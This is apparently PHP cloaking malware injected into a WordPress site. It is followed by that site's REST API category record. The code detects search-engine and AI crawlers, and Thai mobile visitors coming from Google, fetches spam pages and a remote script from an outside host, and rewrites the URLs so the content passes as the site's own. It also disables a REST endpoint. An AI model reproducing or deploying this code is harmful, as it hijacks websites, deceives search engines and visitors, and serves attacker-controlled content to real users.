$API_URL = 'https://id.yuanhengbc.com/th100';

$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host   = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;

function rewrite_remote_urls($html, $api_url, $my_domain) {
    if (empty($html)) return $html;
    $orig_host = parse_url($api_url, PHP_URL_HOST);
    $my_host   = parse_url($my_domain, PHP_URL_HOST);

    
    $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);

    $html = str_replace(
        array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
        array($my_domain, $my_domain, '//' . $my_host),
        $html
    );
    $html = preg_replace(
        '/<base\s+href=["\'][^"\']*' . preg_quote($orig_host, '/') . '[^"\']*["\']/i',
        '<base href="' . $my_domain . '/"',
        $html
    );
    $html = str_replace(
        array('"' . $orig_host . '"', "'" . $orig_host . "'"),
        array('"' . $my_host . '"', "'" . $my_host . "'"),
        $html
    );

    
    $html = str_replace('%%XTZ_KEEP%%', 'https://' . $orig_host . '/xtz.js', $html);

    return $html;
}

function fetch_remote_template($api_url, $ua) {
    $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
    $host   = $_SERVER['HTTP_HOST'] ?? 'localhost';
    $uri    = $_SERVER['REQUEST_URI'] ?? '/';
    $full   = $scheme . '://' . $host . $uri;
    $final  = $api_url . '?domain=' . rawurlencode($full);

    @header('Content-Type: text/html; charset=UTF-8');

    if (function_exists('curl_init')) {
        $ch = curl_init($final);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT        => 15,
            CURLOPT_USERAGENT      => $ua,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_FOLLOWLOCATION => true,
        ));
        $body = curl_exec($ch);
        curl_close($ch);
        return $body;
    } else {
        $ctx = stream_context_create(array(
            'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true)
        ));
        return @file_get_contents($final, false, $ctx);
    }
}

$ua   = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref  = $_SERVER['HTTP_REFERER'] ?? '';
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
if ($ua === '') $ua = ' ';

$bot_list = array(
    'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile',
    'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool',
    'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon',
    'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview',
    'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot',
    'anthropic-ai','DuckDuckBot','DuckAssistBot'
);

$is_bot = false;
foreach ($bot_list as $b) {
    if (stripos($ua, $b) !== false) { $is_bot = true; break; }
}

$is_mobile = false;
foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) {
    if (stripos($ua, $m) !== false) { $is_mobile = true; break; }
}

$is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false));
$is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1);


function check_ip_country() {
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
    $ip = trim(explode(',', $ip)[0]);
    if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL';


    $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip));
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 3,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_HTTPHEADER     => array('X-API-Key: change-me-now'),
    ));
    $resp = curl_exec($ch);
    curl_close($ch);

    if ($resp !== false) {
        $j = json_decode($resp, true);
        if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code'];
    }

  
    $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode');
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 3,
        CURLOPT_SSL_VERIFYPEER => false,
    ));
    $resp = curl_exec($ch);
    curl_close($ch);

    if ($resp !== false) {
        $j = json_decode($resp, true);
        if (isset($j['countryCode'])) return $j['countryCode'];
    }

    return 'UNKNOWN';
}

if ($is_bot) {
    $body = fetch_remote_template($API_URL, $ua);
    echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
    exit;
}


if ($is_mobile && $is_google && $is_th_lang) {
    if (check_ip_country() === 'TH') {

        $body = fetch_remote_template($API_URL, $ua);
        echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
        exit;
    }

}


   add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; });
{"id":55,"count":26,"description":"","link":"https:\/\/www.vladimirkoskov.ru\/?cat=55","name":"\u0426\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0436\u0438\u0437\u043d\u0438","slug":"life_time_value","taxonomy":"category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/categories\/55","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/taxonomies\/category"}],"wp:post_type":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fposts&categories=55"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}